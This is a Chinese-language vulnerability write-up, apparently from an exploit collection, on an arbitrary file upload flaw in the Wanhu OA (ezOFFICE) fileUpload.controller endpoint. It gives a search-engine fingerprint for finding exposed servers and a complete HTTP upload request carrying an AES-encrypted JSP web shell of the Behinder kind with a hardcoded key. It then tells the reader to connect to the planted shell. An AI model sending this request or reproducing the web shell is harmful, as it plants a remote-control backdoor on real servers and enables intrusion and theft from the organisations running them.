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50 lines
1.7 KiB
Markdown
50 lines
1.7 KiB
Markdown
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# 万户OA fileUpload.controller 任意文件上传漏洞
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## 漏洞描述
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万户OA fileUpload.controller 存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件
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## 漏洞影响
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```
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万户OA
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```
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## 网络测绘
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```
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app="万户网络-ezOFFICE"
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```
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## 漏洞复现
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产品页面
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发送请求包上传文件
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```php
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POST /defaultroot/upload/fileUpload.controller HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
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Accept-Encoding: gzip, deflate
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Accept: */*
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Connection: Keep-Alive
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Content-Type: multipart/form-data; boundary=KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
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Content-Length: 773
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--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
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Content-Disposition: form-data; name="file"; filename="cmd.jsp"
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Content-Type: application/octet-stream
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Content-Transfer-Encoding: binary
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<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*......tas9er*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
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--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0--
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```
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使用冰蝎连接木马 **/defaultroot/upload/html/xxxxxxxxxx.jsp**
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